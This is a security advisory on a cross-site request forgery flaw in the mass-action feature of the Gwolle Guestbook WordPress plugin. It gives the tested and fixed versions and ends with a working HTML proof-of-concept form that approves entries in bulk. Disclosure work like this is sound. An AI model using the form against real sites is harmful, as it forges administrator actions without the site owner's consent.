Gwolle Guestbook mass action vulnerable for Cross-Site Request Forgery

Abstract

A Cross-Site Request Forgery (CSRF) vulnerability was found in the Gwolle Guestbook WordPress plugin. This issue can be used by an attacker to mass approve of disapprove entries. In order to exploit this issue, the attacker needs to lure a victim with editor or admin privileges to an attacker-controlled page or trick him into clicking a malicous link.

OVE ID

OVE-20160724-0001

Tested versions

This issue was succesfully tested on the Gwolle Guestbook WordPress Plugin version 1.7.4.

Fix

This issue was fixed in Gwolle Guestbook version version 2.1.1. The most recent version of Gwolle Guestbook can be obtained from the following location: https://wordpress.org/plugins/gwolle-gb/

Introduction

Gwolle Guestbook for WordPress is a guestbook made in order to provide an easy and slim way to integrate a guestbook into your WordPress powered site. Don't use your 'comment' section the wrong way - install Gwolle Guestbook and have a real guestbook.

A Cross-Site Request Forgery vulnerability was found in Gwolle Guestbook. This issue can be used by an attacker to mass approve of disapprove entries. In order to exploit this issue, the attacker needs to lure a victim with editor or admin privileges to an attacker-controlled page or trick him into clicking a malicous link.

Details

The Gwolle guestbook allows actions to be performed on multiple entries at once (mass-action). Although actions performed on a single entry do provide protection against Cross-Site Request Forgery (CSRF) by using wp-nonces, mass-action lacks this protection. Since the entry IDs are enumerable it allows an attacker to mass approve of disapprove entries.

Proof of Concept

The following proof of concept code demonstrates this issue:

<html>
	<body>
		<form action="http://<target>/wordpress/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" method="POST">
			<input type="hidden" name="gwolle&#95;gb&#95;page" value="entries" />
			<input type="hidden" name="pageNum" value="1" />
			<input type="hidden" name="entriesOnThisPage" value="2" />
			<input type="hidden" name="show" value="all" />
			<input type="hidden" name="massEditAction1" value="check" />
			<input type="hidden" name="doaction" value="Apply" />
			<input type="hidden" name="check&#45;2" value="on" />
			<input type="hidden" name="check&#45;1" value="on" />
			<input type="hidden" name="massEditAction2" value="&#45;1" />
			<input type="hidden" name="" value="" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>

Questions or feedback?